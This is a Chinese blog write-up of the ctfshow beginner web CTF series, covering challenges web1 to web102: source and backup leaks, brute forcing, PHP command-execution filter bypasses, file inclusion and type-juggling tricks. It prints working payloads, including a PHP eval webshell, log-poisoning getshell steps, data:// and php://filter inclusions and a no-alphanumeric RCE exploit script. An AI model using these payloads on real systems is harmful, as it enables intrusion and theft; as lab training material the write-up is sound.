CTFSHOW之WEB入门1000题

admin 2021年9月29日22:49:01CTFSHOW之WEB入门1000题已关闭评论623 views字数 19030阅读63分26秒阅读模式

web1

image-20210723101944875

右键查看源代码就出来了

1
ctfshow{e79b78ff-0134-4bd5-8427-5df9b427ba51}

web2

这题无法通过右键查看源代码,我们在输入view-source://url

flag就出来了

1
ctfshow{b76468eb-fcaa-4d81-b4c9-5dee9916aa14}

web3

image-20210723102205077

提示抓个包,我们抓了个包然后发个包,flag就出来了

1
ctfshow{05cb5280-6799-45cd-91ce-8f40d15f556b}

web4

提示robots文件,我们手动访问

1
2
User-agent: *
Disallow: /flagishere.txt

然后访问flagishere.txt

1
ctfshow{b797b9e8-3dab-4c51-9c08-ca397f3b2e5d}

web5

提示phps源码泄露,访问index.phps可以下载源文件

1
ctfshow{f1ae48fa-78f8-46a5-a5bc-175694a88a5f}

web6

提示解压源码到当前目录,盲猜源码压缩文件泄露

访问www.zip,下载源代码

去fl000g.txt找flag

web7

提示版本控制很重要,但不要部署到生产环境更重要,盲猜git泄露

访问 /.git/index.php 即可得到flag

1
ctfshow{60e7612b-2501-44a5-ba3b-e2270294823e} 

web8

提示版本控制很重要,但不要部署到生产环境更重要,盲猜svn泄露

访问url/.svn即可

web9

提示生产环境vim改下,不好,死机了

vim编辑文本时会创建一个临时文件,如果程序正常退出,临时文件自动删除,如果意外退出就会保留,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容。而本题的情景就是电脑死机了意外退出,导致存在临时文件

访问 url/index.php.swp

1
ctfshow{55bf3ee1-3b62-4f35-98fe-65d67d419dfd}

web10

提示cookie

F12,点开存储里的cookie直接得到flag

1
ctfshow%7B20ee1e86-a0a0-47fa-a064-113eec703c6e%7D

web11

域名其实也可以隐藏信息,比如ctfshow.com 就隐藏了一条信息

hint提示

通过dns检查查询flag https://zijian.aliyun.com/ TXT 记录,一般指为某个主机名或域名设置的说明。

image-20210723104322000

web12

提示:有时候网站上的公开信息,就是管理员常用密码

访问admin后台,账号admin 密码从网页底部搜集到的一串数字

1
ctfshow{f8ddf247-b088-4b80-9d9d-df5a3be9e8dd}

web13

提示:技术文档里面不要出现敏感信息

网页底部有个document超链接,可以找到网页的后台地址和默认账号密码,登陆即可

1
ctfshow{cfdd5cff-8651-4acd-90f3-c39c27e32ebd}

web14

提示:有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人

访问/editor 有个编辑器,上传图片有个图片空间,可以进行目录遍历

image-20210723110233671

访问url/nothinghere/fl000g.txt

1
ctfshow{42986bfd-0cba-43c6-9be4-1a319be86d20}

web15

公开的信息比如邮箱,可能造成信息泄露,产生严重后果

可以看到有一个邮箱[email protected]

访问admin页面,admin作为账号 ,邮箱作为密码,发现不对

点忘记密码让我们填密保问题所在地 我们查一下这个qq,发现qq的资料显示在西安 之后密码被重置为admin7789,登陆即可

1
ctfshow{dd71f776-6d6a-4cde-9106-f8db89f56b8d}

web16

对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露

访问tz.php,然后点击phpinfo超链接,直接搜索flag

1
ctfshow{e1c7ed14-29a0-498e-9a21-bd7faf008818} 

web17

直接win+r 用cmd来ping 网站即可

web18

右键查看源代码,访问js文件看看,

image-20210723112402256

一串unicode编码,当分数大于100,解码看看

image-20210723112424680

提示110.php,访问得到flag

1
ctfshow{6255225f-3f0c-4238-8440-36d02397249c} 

web19

提示:密钥什么的,就不要放在前端了

查看源代码,发现

1
2
3
4
5
6
7
8
9
10
<!--
error_reporting(0);
$flag="fakeflag"
$u = $_POST['username'];
$p = $_POST['pazzword'];
if(isset($u) && isset($p)){
if($u==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04'){
echo $flag;
}
}

image-20210723130716379

1
ctfshow{1c375b1c-dc47-4617-827a-7752cd718f66} 

web20

mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。

访问 db/db.mdb 下载下来搜索flag就好了

image-20210723131111723

1
flag{ctfshow_old_database}

web21

打开就是个登陆界面,需要爆破,提供字典让我们下载

image-20210723160627652

抓包以后有一串base64,我们解密看看

image-20210723160653107

是账号:密码这样进行base64加密,我们对他进行爆破

image-20210723160945005

image-20210723161059733

image-20210723161118652

点击attack,开始爆破

image-20210723161118652

tomcat 认证爆破之custom iterator使用

web22

web23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php











error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);

}
?>

代码审计,需要两个条件

第一:传入的token值经过md5加密后,第1位=第14位并且第14位=第17位
第二:第1位+第14位+第17位÷第1位等于第31位

直接上大佬写的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$dict = "0123456789qwertyuiopasdfghjklzxcvbnm";
for($i = 0;$i< 36;$i++){
for($j = 0;$j<36;$j++){
$token = md5($dict[$i].$dict[$j]);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo ("加密后的md5值为:".$token)."n";
echo ("解密后的值为:".$dict[$i].$dict[$j]);
}
}
}
}
1
ctfshow{8580aea3-f749-46d1-a2e3-7aeb01d18caa} 

web24

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}

题目代码,这是个伪随机数,我们直接构造一下看看他应该是多少

1
2
3
4
5
6
7
8
<?php

mt_srand(372619038);

$result = intval(mt_rand());

echo $result;
?>

结果是1155388967 直接传入?r=1155388967

1
ctfshow{0a02335c-721c-401b-a41d-88499655af1c}

web25

太难了不会做

web26

进来是一个安装系统,输入他指定的用户名和密码提示错误

这里打开Burpsuite爆破一波

image-20210724105708564

1
ctfshow{3151a00a-f60a-4ae7-a58e-aabb46a8a613}

web27

学生管理系统,有个录取名单和录取查询,但是身份证不完全

image-20210724110956281

我们这里可以写个php脚本,把他身份证可能的情况列出来

hint里已经准备好了,直接运行就可以得到字典了

抓包爆破,最后爆破出来身份证是621022199002015237

image-20210724112423716

image-20210724111554978

1
ctfshow{8fca1cf2-e707-4ca8-9852-9884a85cbf89}

web28

题目给了hint让我们爆破目录,我们使用Burpsuite试试

image-20210724141407478

1
ctfshow{6ace4e13-0d2e-40e6-8a65-a8046fda3021}

web29

命令执行的题了

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}

正则匹配了flag,要绕过,执行phpinfo()看看,没有被禁用任何函数

image-20210724141708438

?c=system(‘ls’); 看到当前目录下又flag.php和index.php

不能直接cat flag.php 我们可以cat fla?.php

然后F12查看源代码,这题使用通配符绕过

image-20210724141908498

1
ctfshow{d860244b-0743-4b12-8496-e40a869814d5}

web30

1
2
3
4
5
6
7
8
9
10
 <?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
)
}else{
highlight_file(__FILE__);
}

在web29的基础上过滤了system和php,我们使用passthru函数来替换,具体和web29一样。

这里还可以使用echo

payload:

1
url/?c=echo `cat fla?.ph?`;

这里如果用exec把flag.php复制到1.txt直接查看1.txt不知道是否可以

1
ctfshow{72347f18-458e-4fb7-b6e6-286279eecbdc}

web31

在web30上又多过滤了一些东西

1
if(!preg_match("/flag|system|php|cat|sort|shell|.| |'/i", $c))

还是继续用echo吧

1
2
在linux中与cat有类似功能的有如下字符
`cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev`

Payload:

image-20210724145503686

1
ctfshow{c62494bf-4c4f-411a-b744-ba33d06b7ce1}

web32-web36

1
if(!preg_match("/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(/i", $c))

这里过滤了太多东西了,分号过滤用?>绕过

Payload:

1
?c=include%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web37

hint提示查看源代码或者包含日志文件拿shell

我这里两种方法都写一下吧

直接查看源代码的话使用php伪协议

Payload1:/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

image-20210724192337644

web38

先包含日志文件,可以观察到他会把我们GET传入的c的值写到日志文件里

这里我们就可以来把一句话作为我们的c写入,然后包含日志文件getshell

1
<?php eval($_POST[a]); ?>

image-20210724194408853

image-20210724194648944

web39

hint提示:data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

1
2
3
4
5
6
原语句:include($c.".php"); 

构造的Payload:?c=data://text/plain,<?php system('cat fla?.php');?>

拼接以后:include(data://text/plain,<?php system('cat fla?.php');?>.".php");
因为语句已经闭合了,后面.php就相当文字直接输出

image-20210724200022671

web40

这里直接先上payload,还没研究好

Payload:

1
/?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

web41

太难了不会,上大佬的exp吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:

s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(""+s1+""|""+s2+"")"
return(output)

while True:
param=action(input("n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("n[*] result:n"+r.text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|^|+|~|$|[|]|{|}|&|-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

python的代码是exp,php的是生成可用字符的脚本

web42

1
2
3
4
5
6
7
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}

system($c.” >/dev/null 2>&1”);

在类Unix系统中,/dev/null,或称空设备,是一个特殊的设备文件,它丢弃一切写入其中的数据(但报告写入操作成功),读取它则会立即得到一个EOF。
在程序员行话,尤其是Unix行话中,/dev/null 被称为位桶(bit bucket)或者黑洞(black hole)。空设备通常被用于丢弃不需要的输出流,或作为用于输入流的空文件。这些操作通常由重定向完成。

对于& 1 更准确的说应该是文件描述符 1,而1标识标准输出,stdout。
对于2 ,表示标准错误,stderr。
2>&1 的意思就是将标准错误重定向到标准输出。这里标准输出已经重定向到了 /dev/null。那么标准错误也会输出到/dev/null

可以把/dev/null 可以看作”黑洞”. 它等价于一个只写文件. 所有写入它的内容都会永远丢失. 而尝试从它那儿读取内容则什么也读不到.

偶尔也可以把 & 在命令的最后加上,表示让程序后台执行。

这里构造Payload:

1
cat flag.php%0a 或者cat flag.php;

web43

在web42的基础上过滤了一些东西

可以使用nl替换cat %0a替换;

构造Payload:

web44

web43的基础上过滤了flag

通配符绕过

Payload:

web45

web44的基础上过滤了空格

用${IFS}代替空格

Payload:

web46-web49

在web45的基础上过滤了$

用%09代替

Payload:

web50-51

在前面的基础上过滤了反引号和百分号,就没法使用%09绕过空格和%0a

这里我们使用重定向符绕过空格

||来绕过后面的>/dev/null 2>&1

Payload:

web52

这题他把<>过滤了,我们还是使用${IFS}绕过空格

||来当做命令分隔符

但是这题flag在根目录下

Payload:

web53

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag| |[0-9]|*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|`|%|x09|x26|>|</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}

Payload:

web54

1
2
3
4
5
6
7
8
9
 <?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|`|%|x09|x26|>|</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

两种方法,第一种可以理解为当前目录运行cat命令实际上运行的也是bin/cat,而通配符不会帮你去找到bin下面的cat

第二种直接利用paste查看文件

Payload:

1
2
/bin/?at${IFS}f???????
paste${IFS}fla?.php

web55(无字母数字RCE)

1
2
3
4
5
6
7
8
9
10
<?php

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|[a-z]|`|%|x09|x26|>|</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

代码不长,但是思路挺难的,过滤了所有的字母

这里应该是个无字母的RCE

先介绍一下点的意思

. 代表 source命令 它的作用就是把一个文件的内容当成shell来执行

.(点)的用法,就是相当于source 可以执行sh命令。

思路:我们可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的通配符去匹配)

先构造一个post上传文件的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://1e3d0638-671e-42c7-b061-272e63ea687b.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">

<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后创建一个文件,文件里的内容是shell的命令

1
2
#!/bin/sh
cat /var/www/html/flag.php

?c=.+/???/????????[@-[]
注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。

web56(无字母数字RCE)

基本操作和web55一样

image-20210726130135557

web57(无字母数字RCE)

原理:

${_} =’’

$((${_}))=0

$((~$((${_}))))=-1

下面给出的构造过程,我的思路是 0取反到-1到-2到-4到-8到-16到-18到-36到-37然后取反到36

Payload就是36的时候的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$(())   0

$((~$(()))) -1

$(($((~$(())))$((~$(()))))) -2

$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(()))))))) -4

$(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(()))))))))) -8

$(($(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))$(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(()))))))))))) -16

$(($(($(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))$(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))))$(($((~$(())))$((~$(()))))))) -18

$(($(($(($(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))$(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))))$(($((~$(())))$((~$(())))))))$(($(($(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))$(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))))$(($((~$(())))$((~$(()))))))))) -36

$(($(($(($(($(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))$(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))))$(($((~$(())))$((~$(())))))))$(($(($(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))$(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))))$(($((~$(())))$((~$(())))))))))$((~$(()))))) -37

$((~$(($(($(($(($(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))$(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))))$(($((~$(())))$((~$(())))))))$(($(($(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))$(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))))$(($((~$(())))$((~$(())))))))))$((~$(()))))))) 36

web58-65

原代码如下,本想看phpinfo禁用了哪些函数,好像phpinfo也被禁用了,这里索性一个个试

然后我是用highlight_file()函数,官方给的是show_source()函数

1
2
3
4
5
6
7
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

Payload:

1
2
c=highlight_file('flag.php');
c=show_source('flag.php')

image-20210726135259714

web66-67

如果继续按照web58-65的方法做,会出现这个

image-20210726140340977

flag估计是藏在其他地方

我们使用print_r()函数配合glob()函数来找找他在哪

当我们post传入c=print_r(glob(‘../../../*’));

image-20210726140722075

再然后c=highlight_file(‘/flag.txt’);

image-20210726140759488

web68-70

这题用include()

直接include(‘/flag.txt’)

web71

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
ini_set('display_errors', 0);

if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>

ob_get_contents — 返回输出缓冲区的内容

代码大概意思就是 post接收一个参数C,执行eval($c),然后把缓冲区的内容给S,再清楚缓冲区,然后把S里的字母和数字换成?

我们这里可以直接让代码退出

Payload:

1
c=include('/flag.txt');exit(0);
1
2
3
4
5
6
7
8
9
<?php
ob_start();
echo "Hello ";
$out1 = ob_get_contents();
echo "World";
$out2 = ob_get_contents();
ob_end_clean();
var_dump($out1, $out2);
?>

会输出

1
2
string(6) "Hello "
string(11) "Hello World"

web72-74

mmp,看了wp也不会

web78

文件包含的题了

1
2
3
4
5
6
7
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

直接php伪协议

Payload:

1
?file=php://filter/convert.base64-encode/resource=flag.php

web79

1
2
3
4
5
6
7
8
 <?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

过滤了file参数中的php,把php换成???,所以这里就不能使用php://协议

这里使用data://协议

Payload:

1
2
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php');

web80-81

1
2
3
4
5
6
7
8
9
 <?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

data和php协议都不能用,试试包含日志文件getshell

file=/var/log/nginx/access.log

我们刷新一次可以看到和上一次比多了一些东西 比如UA头和get请求的内容,所以我们可以在这些地方植入我们的一句话

image-20210727092813532

这里有点问题,貌似一句话必须加@,不然会报错

image-20210727101524814

image-20210727101611614

web82

1
2
3
4
5
6
7
8
9
10
11
 <?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

过滤了点号,也就不能包含日志 文件getshell了,然后就不会了,会了再回来写

web89

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

传入num,num中不能有整数但是取整有值

数组绕过,利用preg_match无法处理数组的漏洞

Payload:

image-20210728205728029

web90

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

num要等于4476并且取整也要等于4476

intval第二个参数为0时,自动匹配进制

所以这里可以拿16进制绕过

Payload:

web91

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

第一次正则匹配要匹配到php并且第二次匹配不到

前后两次的区别在于第一次是/im第二次是/i

image-20210728210711386

按我个人的理解,就是第一次匹配了多行,第二次只匹配了一行

所以只要加个换行符,就可以让他第一次匹配到第二次匹配不到

ctfshow官方的hint是CVE-2017-15715

Payload:

web92

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

好像和web90一样,web90的方法可以做

但是官方的hint是说,intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以

web93

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

在原本的基础上过滤了字母,所以我们这里不能出现字母

和web90一样,只是把16进制改为八进制

Payload:

web94

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

过滤了开头是0的数字,这我也没办法

看了hint,才知道他后面加个小数点0就好了

Payload:

web95

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

过滤了点,过滤了0开头的num

我们可以不用0开头

Payload:

web96

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}

u不能等于flag.php,但是又得把u里的代码高亮出来

这里可以加上./ linux中./表示当前目录

Payload:

web97

1
2
3
4
5
6
7
8
9
10
11
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

传入的a和b不同,但是md5相同

这里我们可以通过数组绕过

Payload:

web98

1
2
3
4
5
6
7
8
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

这代码刚开始看有点奇怪,后面发现是三元运算符和传址

把代码改一下吧,这样看不懂

1
2
3
4
5
6
7
8
9
<?php
include("flag.php");
if($_GET){$_GET=&$_POST;}
else{"flag";}
if($_GET['flag']=='flag'){$_GET=&$_COOKIE;}
else{"flag";}
if($_GET['flag']=='flag'){$_GET=&$_SERVER;}
else{"flag";}
if($_GET['HTTP_FLAG']=='flag'){highlight_file(__FILE__);}

第一个if是只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址) 后面两个if没啥用,我们不用get传入flag,只需要看最后一个,GET传入HTTP_FLAG为flag就输出flag

所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag 中间的代码没有作用,因为我们不提交 flag 参数

web99

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
} i
f(isset($_GET['n']) && in_array($_GET['n'], $allow)){

file_put_contents($_GET['n'], $_POST['content']);

} ?
>

payload:

1
get : ?n=1.php post:content=<?php highlight_file('flag.php')

web100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
include("ctfshow.php");

$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/;/", $v2)){
if(preg_match("/;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}
?>

ctfshow类开辟空间,提示我们flag在ctfshow类里面 看了代码有迷惑我们的$v2(‘ctfshow‘)$v3,其中v2肯定是命令,v3传分号 v0是三个值相与,v2和v3不传数字和v1数字相与就为1

payload:

1
2
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
?v1=1&v2=var_dump($ctfshow)&v3=;

web102

image-20210906160313478

利用base64,同时配合伪协议去写入,但是需要保证通过is_number函数的判断,可以有字母啊,但是必得是e啊,也就是科学计数法

image-20210906161208454

1
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

post:v1=hex2bin

然后访问1.php去触发就可以了

相关推荐: pikachu靶场部分通关手册(持续更新中)

最近发现,之前学的各种东西已经比较生疏了,所以重新来通关一个靶场来回忆一下 暴力破解基于表单的暴力破解 看到这个,再看到题目名字,直接使用burp中的爆破功能,我们抓取他登陆的包 然后导入我们的字典,开始爆破,成功得出账号密码分别是admin和123456 验…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月29日22:49:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTFSHOW之WEB入门1000题https://cn-sec.com/archives/560574.html